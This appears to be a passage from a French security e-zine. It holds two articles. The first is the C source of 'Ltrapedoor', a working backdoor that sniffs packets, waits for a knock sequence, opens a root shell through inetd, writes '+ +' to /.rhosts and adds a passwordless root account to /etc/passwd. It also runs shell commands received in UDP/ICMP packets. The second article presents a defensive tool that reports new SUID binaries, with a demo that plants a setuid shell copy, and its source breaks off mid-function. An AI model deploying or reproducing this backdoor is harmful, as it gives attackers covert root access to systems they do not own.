#include <fcntl.h>
#include <unistd.h>
#define PWD "31337"
#define DADDR "192.148.0.5"
struct iphdr *ip;
struct tcphdr *tcp;
struct udphdr *udp;
struct icmphdr *icmp;
char buf[1792], *mes, *daddr;
int sockfd;
unsigned char *d;
struct recvpaquet
{
struct ethhdr eth;
struct iphdr ip;
struct tcphdr tcp;
struct icmphdr icmp;
struct udphdr udp;
char data[8000];
} buffer;
int size;
void usage(void){
printf("\n >> Ltrapedoor by Li0n7 \n\n");
printf(" ..: lil' Options :.. \n\n");
printf(" -h<#defined pass>: must be set as first argument\n");
printf(" -i: echo 8005 stream tcp nowait root /bin/sh sh >> tmp/.ind\n");
printf(" -r: echo + + >> /.rhosts\n");
printf(" -p<user>: echo user::0:0:user:/root:/bash >> /etc/passwd\n");
printf(" -c<cle>: backdoor activation key (integer type)\n Notice that: udp = 2; tcp = 0; tcp = 1 \n");
printf(" -f: weird mode, uses weird packets\n to communicate with the server \n");
printf(" -d: ip addressing mode, define ip->saddr while compiling\n");
printf(" -a: sends commands into udp/icmp packets\n (against firewalls)\n");
exit(0);
}
char *make_ip(unsigned char *d){
char *dest_addr;
dest_addr = (char *)malloc(4096);
sprintf(dest_addr, "%u.%u.%u.%u", d[0], d[1], d[2], d[3]);
return dest_addr;
}
int ouvre_interface(char *name)
{
struct sockaddr addr;
struct ifreq ifr;
int sockfd;
sockfd=socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL));
if(sockfd<0)
return -1;
memset(&addr, 0, sizeof(addr));
addr.sa_family=AF_INET;
strncpy(addr.sa_data, name, sizeof(addr.sa_data));
if(bind(sockfd, &addr, sizeof(addr)) !=0 ){
close(sockfd);
return -1;
}
memset(&ifr,0,sizeof(ifr));
strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
if(ioctl(sockfd, SIOCGIFHWADDR, &ifr)<0){
close(sockfd);
return -1;
}
if(ifr.ifr_hwaddr.sa_family != ARPHRD_ETHER)
{
close(sockfd);
return -1;
}
memset(&ifr,0,sizeof(ifr));
strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
if (ioctl(sockfd, SIOCGIFFLAGS, &ifr) <0)
{
close(sockfd);
return -1;
}
ifr.ifr_flags |= IFF_PROMISC;
if(ioctl(sockfd, SIOCSIFFLAGS, &ifr) < 0) {
close(sockfd);
return -1;
}
return sockfd;
}
void close_door(int inetd, int rsh, int pass, char *passv){
char *command;
command = (char *)malloc(1024);
if (inetd == 1){
command = "rm -f /tmp/.ind";
system(command);
}
if (rsh == 1){
command = "rm -f /.rhosts";
system(command);
}
if (pass == 1){
sprintf(command, "cat /etc/passwd | grep -v %s > /etc/passwd", passv);
system(command);
}
exit (1);
}
void open_door(int inetd, int rsh, int pass, int protected_mode, char *passv) {
FILE *f;
char *args[] = {"/usr/sbin/inetd","/tmp/.ind",NULL};
char *command;
command = (char *)malloc(1204);
switch (fork()) {
case -1:
return;
case 0:
switch (fork()) {
case -1: _exit(0);
case 0:
break;
default: _exit(0);
}
break;
default:
wait(NULL);
return;
}
if (inetd == 1){
if ((f=fopen("/tmp/.ind","a+t"))==NULL) return;
fprintf(f,"8055 stream tcp nowait root /bin/sh sh\n");
execv("/usr/sbin/inetd",args);
fclose(f);
}
if (rsh == 1){
sprintf(command, "echo + + >> /.rhosts");
system(command);
}
if (pass == 1){
if ((f=fopen("/etc/passwd","a+t"))==NULL) return;
fprintf(f,"%s::0:0:%s:/root:/bash\n", passv, passv);
fclose(f);
}
if(protected_mode == 1) protected_com(inetd, rsh, pass, passv);
exit(0);
}
int protected_com(int inetd, int rsh, int pass, char *passv){
int i, datal;
unsigned char *d;
char *donnees;
ip = (struct iphdr *)(((unsigned long)&buffer.ip)-2);
tcp = (struct tcphdr *)(((unsigned long)&buffer.tcp)-2);
icmp = (struct icmphdr *)(((unsigned long)&buffer.icmp)-2);
udp = (struct udphdr *)(((unsigned long)&buffer.udp)-2);
sockfd = ouvre_interface("eth0");
while(1){
size = read(sockfd, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet));
if(size<0)
return -1;
if (size < sizeof(struct ether_header))
continue;
if (ip->protocol == 17){
datal = size - 2 - (sizeof(struct udphdr) + sizeof(struct iphdr) + sizeof (struct ether_header));
donnees = (char *)(((unsigned long)buffer.data)-2);
for(i=0; i <= datal; i++)
strcat(donnees, donnees[i]);
if(donnees = "end:connection"){
close_door(inetd, rsh, pass, passv);
} else {
system(donnees);
}
}
if (ip->protocol == 1){
datal = size - 2 - (sizeof(struct icmphdr) + sizeof(struct iphdr) + sizeof (struct ether_header));
donnees = (char *)(((unsigned long)buffer.data)-2);
for(i=0; i <= datal; i++)
strcat(donnees, donnees[i]);
system(donnees);
}
}
return 0;
}
int waiting_ip(int inetd, int rsh, int pass, int protected_mode, char *passv){
int i;
char *net_ip;
unsigned char *d;
ip = (struct iphdr *)(((unsigned long)&buffer.ip)-2);
tcp = (struct tcphdr *)(((unsigned long)&buffer.tcp)-2);
icmp = (struct icmphdr *)(((unsigned long)&buffer.icmp)-2);
udp = (struct udphdr *)(((unsigned long)&buffer.udp)-2);
net_ip = (char *)malloc(1024);
d = (unsigned char *)&(ip->daddr);
sockfd = ouvre_interface("eth0");
while(1){
size = read(sockfd, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet));
if(size<0)
return -1;
if (size < sizeof(struct ether_header))
continue;
if(ip->protocol == 17){
net_ip = make_ip(d);
if(net_ip = DADDR)
open_door(inetd, rsh, pass, protected_mode, passv);
}
if(ip->protocol == 6){
net_ip = make_ip(d);
if(net_ip = DADDR)
close_door(inetd, rsh, pass, passv);
}
}
return 0;
}
int death_looping(int inetd, int rsh, int pass, int informe, int protected_mode, char *cle, char *passv, char *endvalue)
{
int i;
ip = (struct iphdr *)(((unsigned long)&buffer.ip)-2);
tcp = (struct tcphdr *)(((unsigned long)&buffer.tcp)-2);
icmp = (struct icmphdr *)(((unsigned long)&buffer.icmp)-2);
udp = (struct udphdr *)(((unsigned long)&buffer.udp)-2);
mes = (char *)malloc(1024);
daddr = (char *)malloc(1024);
d = (unsigned char *)&(ip->daddr);
sockfd = ouvre_interface("eth0");
while(1){
size = read(sockfd, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet));
if(size<0)
return -1;
if (size < sizeof(struct ether_header))
continue;
if((ip->protocol) == 1){
if ((icmp->type == 3) && (informe == 1)){
close_door(inetd, rsh, pass, passv);
} else {
strcat(mes,"0");
if (((strlen(mes)) == (strlen(cle))) && (mes = cle)){
open_door(inetd, rsh, pass, protected_mode, passv);
memset(mes, 0, 1024);
} else if (((strlen(mes)) == (strlen(cle))) && (mes != cle)) {
memset(mes, 0, 1024);
}
if (((strlen(mes)) == (strlen(endvalue))) && (mes = endvalue)){
close_door(inetd, rsh, pass, passv);
memset(mes, 0, 1024);
} else if (((strlen(mes)) == (strlen(endvalue))) && (mes != endvalue)) {
memset(mes, 0, 1024);
}
}
}
if((ip->protocol) == 6){
if((ip->version == 6) && (informe == 1)){
open_door(inetd, rsh, pass, protected_mode, passv);
} else {
strcat(mes,"1");
if (((strlen(mes)) == (strlen(cle))) && (mes = cle)){
open_door(inetd, rsh, pass, protected_mode, passv);
memset(mes, 0, 1024);
} else if (((strlen(mes)) == (strlen(cle))) && (mes != cle)) {
memset(mes, 0, 1024);
}
if (((strlen(mes)) == (strlen(endvalue))) && (mes = endvalue)){
close_door(inetd, rsh, pass, passv);
memset(mes, 0, 1024);
} else if (((strlen(mes)) == (strlen(endvalue))) && (mes != endvalue)) {
memset(mes, 0, 1024);
}
}
}
if((ip->protocol) == 17){
strcat(mes,"2");
if (((strlen(mes)) == (strlen(cle))) && (mes = cle)){
open_door(inetd, rsh, pass, protected_mode, passv);
memset(mes, 0, 1024);
} else if (((strlen(mes)) == (strlen(cle))) && (mes != cle)) {
memset(mes, 0, 1024);
}
if (((strlen(mes)) == (strlen(endvalue))) && (mes = endvalue)){
close_door(inetd, rsh, pass, passv);
memset(mes, 0, 1024);
} else if (((strlen(mes)) == (strlen(endvalue))) && (mes != endvalue)) {
memset(mes, 0, 1024);
}
}
}
return 0;
}
int main(int argc, char *argv[])
{
int inetd=0, rsh=0, destroy=0, pass=0, informe = 0, ip_mode = 0, protected_mode = 0;
char *cle, *passv, *endvalue;
cle = (char *)malloc(1024);
passv = (char *)malloc(1024);
endvalue = (char *)malloc(1024);
endvalue = "22";
passv = "user";
cle = "21";
if((strcmp(PWD, getpass("password: "))) != 0) return 0;
if (argc < 3){
usage();
} else {
while((argc>1)&&(argv[1][0]=='-'))
{
switch(argv[1][1])
{
case 'i':
inetd = 1;
break;
case 'r':
rsh = 1;
break;
case 'p':
pass = 1;
passv = &argv[1][2];
break;
case 'c':
cle = &argv[1][2];
break;
case 'e':
endvalue = &argv[1][2];
break;
case 'f':
informe = 1;
break;
case 'd':
ip_mode = 1;
break;
case 'a':
protected_mode = 1;
break;
}
--argc;
++argv;
}
}
if (ip_mode == 1){
waiting_ip(inetd, rsh, pass, protected_mode, passv);
} else {
death_looping(inetd, rsh, pass, informe, protected_mode, cle, passv, endvalue);
}
return 0;
}
IV. Conclusion :
________________
La programmation de backdoors classiques n'aura plus aucun secret pour vous.
J'espère avoir démontré comme il était simple d'exploiter la compléxité des
réseaux, tant soit au niveau des procoles, qu'au niveau des systèmes de
protection, qui hélas, reposent trop sur la vigilance et la bonne fortune
des admnistrateurs... Sachez qu'il existe bien d'autres types de backdoors,
mais celle que nous avons étudié se révèle être l'une des plus complexe à
programmer. Le niveau de furtivité est, en revanche, trop bas pour être pris
en considération. En effet, elle possède un défaut majeur : elle modifie la
date de modification des fichiers auxquelles elle s'attaque (normal), il
faudrait donc masquer la manipulation de ses fichiers en modificant cette
date. Ainsi, Les plus courageux d'entre vous trouveront surement le temps
de bidouiller ma trappe pour en resortir un résultat plus convainquant,
en tous cas, je l'espère!
Besoin d'aide? Commentaires? Insultes? Li0n7@voila.fr
-[EOF] /* il parait que ça fait Ü£±Ìmű3 3£Ì±3 de mettre [eof] à la fin ;-) */
---------------------------------------------------------------------------------------
VIII. Surveillance des binaires SUID Neofox
---------------------------------------------------------------------------------------
######################################
#### Fichier Joint : ####
#### Suid-Surveyor.1.0.tar.gz ####
######################################
[ Introduction ]
VOici un article à tendance résoluement 'whitehat' pour une fois, et on ne
va pas s'en plaindre. Ce texte va me servir de support pour vous présenter
la version 1.0 d'un outil dont je viens juste de terminer la mise au point.
Je l'ai bapthisé 'Suid Surveyor', le plus simplement du monde. Il a pour
fonction d'alerter l'adiministrateur lorsque de nouveaux binaires suid sont
ajoutés sur le système. Je ne vais pas rapeller l'interêt d'une inspection
journalière du système à la recherche de binaires SUID suspects (type setuid
backdoor) ; sachez simplement que ce prog peut être utlisé avec cron dans
le cadre d'une surveillance continue. L'idée m'est venue d'implémenter ceci
en C arpés être tombé sur un script comparable, en trainant sous FreeBSD.
Cet outil a été testé avec succès sous Redhat et Slackware. En revanche,
un bug m'a été signalé sous Mandrake. Il semblerait que fonction 'nftw()'
servant à parcourir l'arboresence, retourne systématiquement une erreur, ce
qui rend impossible la recherche dans les répertoires. Ce qui est d'autant
plus curieux, c'est que ce problème n'a lieu que sous Mandrake. Je ne vois
pas comment l'expliquer... Je n'ai pas pu tester mon outil sous toutes les
distrib linux. Prevenez-moi si vous constatez un bug sous votre OS.
++++ | Partie 1 : Présentation | ++++
=> Description
=> Programmation
I. Description :
________________
[ L'idée ]
Le principe est tout simple ; il consiste à parcourir une première fois
l'ensemble des répertoires du système et de lister tout les binaires SUID
trouvés dans un premier fichier. On répète ensuie l'opréation une seconde
fois, et nous obtenons donc une seconde liste dans un nouveau fichier. On
compare ensuite leur deux tailles. Si elles sont identiques tout est normal.
En revanche si l'on constate que la taille du second fichier est supérieure
à celle du premier, cela signifie qu'il comporte au moins une nouvelle entrée,
ce qui correspond à un nouveau binaire SUID repéré sur la machine. Dans ce
cas, un fichier de rapport est crée par défaut dans '/root' et le nom du
nouveau binaire y est inscrit.
[ Les fichiers ]
Suid Surveyor v1.0 s'appuie sur 3 fichiers :
¤ /var/log/suid.yesterday : précédente liste des binaires SUID
¤ /var/log/suid.today : nouvelle liste des binaires SUID
¤ /root/suid.rapport : contient les noms des nouveaux binaires
Par défaut, Suid Surveyor v1.0 est exécuté une fois par jour via cron,
et pour ce faire, il utilise '/etc/cron.daily/suid'.
Ce programme DOIT IMPERATIVEMENT être installé dans '/root', dans le cas
contraire, vous devrez modifier les PATH du Makefile.
[ L'installation ]
J'insiste sur le fait qu'il est important de plaçer l'archive tar.gz dans
/root, puis de la décompresser. Vous devez de ce fait procéder à l'instal-
-lation EN TANT QUE ROOT ! Il est également important de respecter le nom
et l'emplaçement du répertoire /root/Suid-Surveyor.1.0.
Si vous souhaitez les modifier, il vous faudra modifier en conséquences
les PATH dans le code source et le Makefile.
L'installation est tout ce qu'il y a de plus simple, grâce à ce joli
Makefile que MeiK m'a écrit ( il était pas beau mon install.sh ?? ).
Voici le tout en *image* :
[root@localhost /root]# pwd
/root
[root@localhost /root]# whoami
root
[root@localhost /root]# ls -al /root/*.tar.gz
-rwxrwxr-x 1 root root 4214 oct 30 15:15 Suid-Surveyor.1.0.tar.gz
[root@localhost /root]# gzip -cd *.tar.gz | tar xvf -
Suid-Surveyor.1.0/
Suid-Surveyor.1.0/ss.c
Suid-Surveyor.1.0/readme
Suid-Surveyor.1.0/Makefile
[root@localhost /root]# cd Suid-Surveyor.1.0
[root@localhost Suid-Surveyor.1.0]#ls
Makefile readme ss.c
[root@localhost Suid-Surveyor.1.0]# make
cc -c -g -0 ss.c
cc ss.o -o ss
[root@localhost Suid-Surveyor.1.0]# make install
install: ok!
[root@localhost Suid-Surveyor.1.0]# ls -al /etc/cron.daily/suid
-rwxrwxr-x 1 root root 46 oct 30 15:15 suid
[root@localhost Suid-Surveyor.1.0]# cat /etc/cron.daily/suid
#!/bin/sh
/root/Suid-Surveyor.1.0/ss cron &
[root@localhost Suid-Surveyor.1.0]#
Vous constatez à l'issue de l'installation que le fichier 'suid' a été
crée dans /etc/cron.daily. C'est grâce à lui que Suid Surveyor sera
exécuté une fois par jour.
[ Le fonctionnement ]
Deux possibilités s'offrent à vous : soit vous pouvez exécuter l'outil manuellement
et vous verrez s'affichier le résultat du scan à l'écran, soit vous laissez cron
s'en charger. Voici les deux syntaxes :
¤ manuellement : # ./ss show
¤ avec cron : # ./ss cron &
La syntaxe utilisée avec cron est celle inscrite dans /etc/cron.daily/suid.
Voici à présent une démonstration du fonctionnement de mon outil :
[root@localhost Suid-Surveyor.1.0]# ./ss
**** Suid Surveyor v1.0 -by Neofox[IOC] ****
This tool performs a scan throught the whole file
system, then looks for new suspect suid binaries
Usage: 1- ./ss cron & when it's run by cron
2- ./ss show to output the results
[root@localhost Suid-Surveyor.1.0]# ./ss show
*]- Suid Surveyor v1.0 -by Neofox[IOC]
[1]- Updating logs... failed!
[2]- Jumping to / ... done!
[3]- Browsing directories... done!
[4]- Setting logfile permission... done!
[5]- Counting suid files : 103
[6]- Checking for new suid binaries... failed!
[*]- Fatal error, aborting!
[root@localhost Suid-Surveyor.1.0]#
Cette erreur est normale ; il s'agit enfait de la première utilisation du
programme. De ce fait, les fichiers 'suid.today' et 'suid.yesterday' n'existent
pas. Il y a donc échec lors de la rotation des fichier de log. Par ailleurs, le
programme va créer au cours de son exécution le fichier /var/log/suid.today. Mais
comme il n'y a pas de fichier antérieur avec lequel le comparer, on obtient une
"Fatal Error" et le programme met fin à son exécution. Voyons ce qui se passe
lors d'une exécution normale :
[root@localhost Suid-Surveyor.1.0]# ./ss show
[*]- Suid Surveyor v1.0 -by Neofox[IOC]
[1]- Updating logs... done!
[2]- Jumping to / ... done!
[3]- Browsing directories... done!
[4]- Setting logfile permission... done!
[5]- Counting suid files : 103
[6]- Checking for new suid binaries... done!
[*]- SUID files allright!
[root@localhost Suid-Surveyor.1.0]# mkidr /opt/.hacker
[root@localhost Suid-Surveyor.1.0]# cp /bin/sh /opt/.hacker/shell_suid
[root@localhost Suid-Surveyor.1.0]# chmod 6755 /opt/.hacker/shell_suid
[root@localhost Suid-Surveyor.1.0]# ./ss show
[*]- Suid Surveyor v1.0 -by Neofox[IOC]
[1]- Updating logs... done!
[2]- Jumping to / ... done!
[3]- Browsing directories... done!
[4]- Setting logfile permission... done!
[5]- Counting suid files : 104
[6]- Checking for new suid binaries... done!
**** WARNING ****
//opt/.hacker/shell_suid is new
[*]- Writting /root/suid.rapport... done!
[*]- 1 new SUID binaries has been found since last check!
[root@localhost Suid-Surveyor.1.0]# ls -al /root/suid.rapport
-rw-r--r-- 1 root root 24 oct 30 15:20 suid.rapport
[root@localhost Suid-Surveyor.1.0]# cat /root/suid/rapport
//opt/.hacker/shell_suid
[root@localhost Suid-Surveyor.1.0]# rm -f /opt/.hacker/*
[root@localhost Suid-Surveyor.1.0]# ./ss show
[*]- Suid Surveyor v1.0 -by Neofox[IOC]
[1]- Updating logs... done!
[2]- Jumping to / ... done!
[3]- Browsing directories... done!
[4]- Setting logfile permission... done!
[5]- Counting suid files : 103
[6]- Checking for new suid binaries... done!
[*]- SUID binaries removed since last check!
[root@localhost Suid-Surveyor.1.0]#
Prennez le temps de lire attentivement la démonstration cî-dessus, vous
conviendrez que c'est on ne peut plus parlant !
Bien, il me reste manitenant à détailler un peu le code ss.c, et à faire
la lumière sur quelques zones d'ombre.
II. Programmation :
___________________
Je vais expliquer mon code petit à petit, mais uniquement les points qui m'on posé
problème pendant la programmation.
[ nftw() ]
La première étape est de pouvoir naviguer depuis la racine, dans tous les répertoires
et les sous-répertoires. Si on ne connait pas la fonction, on ne peut pas l'inventer !
Un gros pavé sur le C m'a tiré d'affaire. La fonction qui va nous dépanner est 'ftw()'
qui siginfie "File Tree Walking" ou plus exactement nous allons utiliser sa cousine,
nftw(), plus complète. Je tiens à vous prévenir desuite, cette fonction a une syntaxe
à coucher dehors, dumoins à première vue ... elle est définie dans l'header 'ftw.h'.
Je vous renvoie aux pages du man pour plus d'information.
/*
* nftw("/your/path"), // browse all dirs
* scan_suid, // find suid binaries
* 10, // depth
* 1 // FTW_PHYS = 1
* );
*
*/
On va faire le point sur les arguments, histoire d'y voir plus clair :
Le premier argument est le répertoire de départ. La fonction va partir de ce répertoire
et parcourir en parcourir tous les sous-répertoires. Dans notre cas, nous devons partir
de la racine.
Le second argument est une sous fonction qui sera appliquée à chaque répertoire.
J'ai crée pourcela la fonction 'scan_suid()' que j'aurais tout aussi bien pu apeller
'toto_par_a_la_campagne()', j'ai hésité, mais la première allait mieux. Notre sous
fonction va pour chaque répertoire, l'ouvrir, le parcourir, lister les fichiers suid
puis le refermer.
Le troisième argument est la profondeur de recherche, c'est à dire le nombre maximum
d'étages de l'arboresence à parcourir. J'ai mis 10, c'est déja pas mal, mettez 100 si
ça vous chante.
Enfin, le dernier argument est là pour faire 3ll3t, mais dans la pratique, il spécifie
à nftw() de ne pas suivre les liens symboliques.
Voici comment j'ai géré cette fonction dans mon code :
-------8<----------------------------------------------------------------
/*
* Here we go, let's have a look in our dirs !
*/
fprintf(stderr,"\033[1;37m[%d]\033[0m- Browsing directories... ",step++);
if((nftw((getcwd(path, 256)),scan_suid,10,1))==-1){
fprintf(stdout,"failed!\n");
fprintf(stdout,"\033[1;37m[*]\033[0m- Fatal error, aborting!\n");
exit(1);
}
-------8<----------------------------------------------------------------
[ strtok() ]
Cette fonction définie dans 'string.h' n'intervient que beaucoup plus tard
dans le prog, mais je la traite maintenant, non seulement parcequ'il me faut
bien remplir mon article déja que j'en ai pas fait lourd, mais aussi parce
que c'est le second point sur lequel j'ai bloqué.
A ce stade du programme, nous nous trouvons dans la sous-fonction apellée
'find_new_entry()'. Nos deux fichiers de log, suid.yesterday et suid.today
sont normalement crées. On a lu le contenu du premier et on la plaçé dans le
buffer 'oldfile_buffer'. On a lu ensuite le conetnu du second fichier et on
l'a plaçé dans 'newfile_buffer'. Le problèmes est que nous devons savoir
si toutes les entrées de 'newfile_buffer' figurent ou non dans 'oldfile_buffer'.
Pour cela, nous devons rechercher chaque entrée de 'newfile_buffer' dans
'oldfile_buffer' à l'aide de la fonction strstr(). Dans la réalité, vous
l'aurez compris, une entrée correspond au nom d'un binaire suid.
C'est ici qu'intervient strtok(). Cette fonction va nous permettre d'isoler
chaque entrée du buffer 'newfile_buffer' et d'aller ensuite la compier dans
une structure de notre conception. A l'aide de strstr() on peut ensuite
rechercher séparemment chaque ligne du 'newfile_buffer' dans 'oldfile_buffer'.
Si une ligne est présente dans le 'newfile_buffer' mais pas dans l'autre,
c'est qu'il s'agit d'une nouvelle entrée, comprendre d'un nouveau binaire
suid. Voici à présent l'extrait du code :
-------8<----------------------------------------------------------------
while((read(newfile_input, newfile_buffer, MAX))>0){
// this is used to order datas,
// one entry per line
ptr = strtok(newfile_buffer,"\n");
while(ptr!=NULL){
strcpy(entry[line].name,ptr);
line--;
ptr = strtok(NULL,"\n");
}
}
// une fois le buffer segmenté, on peut rechercher séparrement
// chaque entrée dans 'oldfile_buffer'
r=0; found = 0;
while((read(oldfile_input, oldfile_buffer, MAX))>0){
for(line=0;line<nbr;line++){
if(strstr(oldfile_buffer,entry[line].name)==NULL){
fprintf(stdout," %s is new\n",entry[line].name);
found++;
// we save results in an other logfile
if((save_data(RAPPORT,entry[line].name,rapport))==0)
r++;
}
}
}
-------8<-----------------------------------------------------------------
Voila, nous avons comparé chaque ligne de 'newfile_buffer' au contenu
du 'oldfile_buffer'. Si un ligne est 'nouvelle' on fait alors appel à
la fonction 'save_data(char *logfile, const char *buffer, FILE *fd);
Nous allons la voir plus en détail.
[ save_data() ]
Nous allons en parler, non pas qu'elle m'ait causé problème, mais aucontraire
car elle m'a été d'un grande utilité. Je m'en suis servi par deux fois, tout
dabord, pour sauvegarder le listing des binaires suid dans le fichier de log
'suid.today', et ensuite, pour inscrire, comme vu plus haut, le nom des nouveaux
binaires trouvés dans le fichier 'suid.rapport'. Si simple et pourtant si
partique ! Voyons à quoi elle ressemle :
-------8<----------------------------------------------------------------
int
save_data(const char *logfile, const char *buffer, FILE * file_descriptor){
if((output=(fopen(logfile,"a+")))!=NULL){
count ++;
/* writting into the logfile */
fprintf(output,"%s\n",buffer);
}
fclose(output);
return 0;
}
-------8<----------------------------------------------------------------
Ces petits soucis mis à part, le reste du prog est assez simple à coder,
une fois qu'on a bien saisi la théorie.
++++ | Partie 2 : Code Source | ++++
--------------8<------------ ss.c -------------------------------------------------------
/*
* -= Suid Surveyor v1.0 =-
*
* by Neofox, for Iocmag issue#5
* Web: http://www.rootshell.be/~ioc
* Contact: neo_fox_2001@hotmail.com
* © 2001-2002 IOC
*
*/
#include <stdio.h> /* frpintf */
#include <string.h> /* strcmp, strtok */
#include <unistd.h> /* hum ? */
#include <stdlib.h> /* is it useful ? */
#include <sys/types.h> /* stat, opendir */
#include <sys/stat.h> /* stat */
#include <fcntl.h> /* open, close */
#include <dirent.h> /* opendir, closedir */
#include <errno.h> /* perror */
#include <ftw.h> /* nftw */
#include <pwd.h> /* getpwuid */
/* Well known logfiles */
#define TODAY "/var/log/suid.today"
#define YESTERDAY "/var/log/suid.yesterday"
#define RAPPORT "/root/suid.rapport"
#define SUID_MODE 0004000 // S_ISUID
#define MAX 9999 // a big value
FILE *output;
int i, count; // main counters
char buffer[500]; // well used buf
struct stat file; /* current file status */
struct stat status; /* logfile status */
struct passwd *pwd; /* basic stuff */
void
display_msg(){
fprintf(stdout,"\033[1;37m[*]- Suid Surveyor v1.0 -by Neofox[IOC]\n\033[0m");
}
void
display_help(char **argument){
fprintf(stdout,"\n\033[1;37m**** Suid Surveyor v1.0 -by Neofox[IOC] ****\033[0m\n"
"This tool performs a scan throught the whole file\n"
"system, then looks for new suspect suid binaries\n"
"Usage: 1- %s cron & when it's run by cron\n"
" 2- %s show to output the results\n\n",
argument[0],argument[0]);
exit(1);
}
/*
* This is the easyest way to update logs,
* the oldest logfile beeing replaced by
* the newest one
*/
int
logrotate(void){
if((stat(TODAY,&status))!=-1){
if((rename(TODAY,YESTERDAY))!=0)
return -1;
else
return 0;
}
} /* End of Logrotate */
/*
* This function will be used to save datas
* in both the old and the new logfile, and
* also to save results in an other
*/
int
save_data(const char *logfile, const char *buffer, FILE * file_descriptor){
if((output=(fopen(logfile,"a+")))!=NULL){
count ++;
/* writting into the logfile */
fprintf(output,"%s\n",buffer);
}
fclose(output);
return 0;
}
/*
* Here is the subfunction applied by nftw()
* It lists suid binaries, then save the list
* in the today logfile
*/
int
scan_suid(const char *path, const struct stat *status, int flag){
DIR *dirp = 0;
struct dirent *dp;
flag = FTW_F;
if ((dirp = opendir(path))!=NULL) {
while((dp=readdir(dirp))!=0){
// this buf will store complete paths
sprintf(buffer,"%s/%s",path,dp->d_name);
if((stat(buffer,&file))!=-1){
if((file.st_mode&S_ISUID)){
if((save_data(TODAY,buffer,output))!=0)
return -1;
}
}
errno = 0;
}
if(errno!=0)
return -1;
if(closedir(dirp)==-1)
return -1;
}
/* continue */
return 0;
}
/*
* The compare() function is used to know if
* the new logfile is the same than the old one
* or not. If it's not, an unusual event may
* happend, so we'll look further for a new entry.
*/
int
compare(void){
int diff;
off_t yesterday_size, today_size;
if((stat(TODAY,&status))==-1){
return -2;
goto end;
} else
today_size = status.st_size;
if((stat(YESTERDAY,&status))==-1){
return -2;
goto end;
} else
yesterday_size = status.st_size;
// if sizes don't match
if(today_size != yesterday_size){
// if the difference is positive */
if(today_size > yesterday_size){
// suid.today has grown bigger
diff = today_size - yesterday_size;
return 1;
} else
// if the difference is negative,
// they are missing bytes!
return -1;
/* Otherwise, it's normal */
} else
return 0;
end:
}
/*
* It's one of the most important function which will search
* into the new logfile for a filename which is not written in
* the old logfile. If there's one, it means that a new suid
* binary has been added since the previous check
*/
int
find_new_entry(const char *oldfile, const char *newfile, int nbr){
struct find {
char name[500];
} entry[nbr];
FILE *rapport;
int r, line, found; // counters
int oldfile_input, newfile_input;
char oldfile_buffer[MAX],newfile_buffer[MAX];
char *ptr; // used with strtok()
// opening today logfile
if((newfile_input=open(newfile,O_RDONLY))==-1){
perror("fopen newfile");
close(newfile_input);
return -1;
goto end;
}
// opening yesterday logfile
if((oldfile_input=open(oldfile,O_RDONLY))==-1){
perror("fopen oldfile");
close(oldfile_input);
return -1;
goto end;
}
line = nbr;
while((read(newfile_input, newfile_buffer, MAX))>0){
// this is used to order datas,
// one entry per line
ptr = strtok(newfile_buffer,"\n");
while(ptr!=NULL){
strcpy(entry[line].name,ptr);
line--;
ptr = strtok(NULL,"\n");
}
}
r=0; found = 0;
while((read(oldfile_input, oldfile_buffer, MAX))>0){
for(line=0;line<nbr;line++){
if(strstr(oldfile_buffer,entry[line].name)==NULL){
fprintf(stdout," %s is new\n",entry[line].name);
found++;
// we save results in an other logfile
if((save_data(RAPPORT,entry[line].name,rapport))==0)
r++;
}
}
}
fprintf(stderr,"\n\033[1;37m[*]\033[0m- Writting %s... ",RAPPORT);
if(r!=0)
fprintf(stdout,"done!\n");
else
fprintf(stdout,"failed!\n");
if(found!=0)
return found;
else
return 0;
// end label
end :
}
int main (int argc, char *argv[]){
int new, // if new files suid are found
step, // step by step counter
alert; // return value if files have changed
char path[256]; // hapy buffer, used for many things,
// I don't remember exactly what ...
/* UID check */
if(getuid()!=0){
pwd = getpwuid(getuid());
display_msg();
fprintf(stdout,"\033[1;37m[*]- \033[0mUser '%s', you must run this as root!\n", pwd->pw_name);
exit(1);
}
/* Arguments check */
if(argc!=2)
display_help(argv);
if((strcmp(argv[1],"cron"))==0){
// if it's run directly by cron,
// we close standart and errors outputs
close(1);
close(2);
} else {
if((strcmp(argv[1],"show"))==0)
display_msg();
else
display_help(argv);
}
step=1; // reset step counter
fprintf(stderr,"\033[1;37m[%d]\033[0m- Updating logs... ",step++);
if((logrotate())!=0)
fprintf(stdout,"failed!\n");
else
fprintf(stdout,"done!\n");
/*
* Here, we need to chdir to "/" before launching the scan,
* otherwise nftw() would only browse the current directory
*/
fprintf(stderr,"\033[1;37m[%d]\033[0m- Jumping to / ... ",step++);
if(chdir("/")!=-1)
fprintf(stdout,"done!\n");
else {
fprintf(stdout,"failed!\n");
fprintf(stdout,"\033[1;37m[*]-\033[0m Fatal error, aborting!\n");
exit(1);
}
/*
* Here we go, let's have a look in our dirs !
*/
fprintf(stderr,"\033[1;37m[%d]\033[0m- Browsing directories... ",step++);
if((nftw((getcwd(path, 256)),scan_suid,10,1))==-1){
fprintf(stdout,"failed!\n");
fprintf(stdout,"\033[1;37m[*]\033[0m- Fatal error, aborting!\n");
exit(1);
} else {
fprintf(stdout,"done!\n");
fprintf(stderr,"\033[1;37m[%d]\033[0m- Setting logfile permission... ",step++);
if((chmod(TODAY,0600))==-1)
fprintf(stdout,"failed!\n");
else
fprintf(stdout,"done!\n");
}
fprintf(stderr,"\033[1;37m[%d]\033[0m- Counting suid files: %d\n",step++,count);
fprintf(stderr,"\033[1;37m[%d]\033[0m- Checking for new suid... ",step++);
if((alert=(compare()))==0){
/* Everything is OK */
fprintf(stderr,"done!\n");
fprintf(stdout,"\033[1;37m[*]\033[0m- SUID binaries allright !\n");
exit(1);
} else {
/* an error occurs with compare() */
if(alert==-2){
fprintf(stdout,"failed!\n");
fprintf(stdout,"\033[1;37m[*]\033[0m- Fatal error, aborting!\n");
exit(1);
}
/* the size has become smaller */
if(alert==-1){
fprintf(stdout,"done!\n");
fprintf(stdout,"\033[1;37m[*]\033[0m- SUID binaries removed since last check!\n");
}
/* the size has grown bigger */
if(alert>0){
fprintf(stdout,"done!\n");
fprintf(stdout,"\n\a \033[1;31m**** WARNING ****\033[0m\n");
if((new=(find_new_entry(YESTERDAY,TODAY,count)))==-1){
fprintf(stdout,"erreur find");
exit(1);
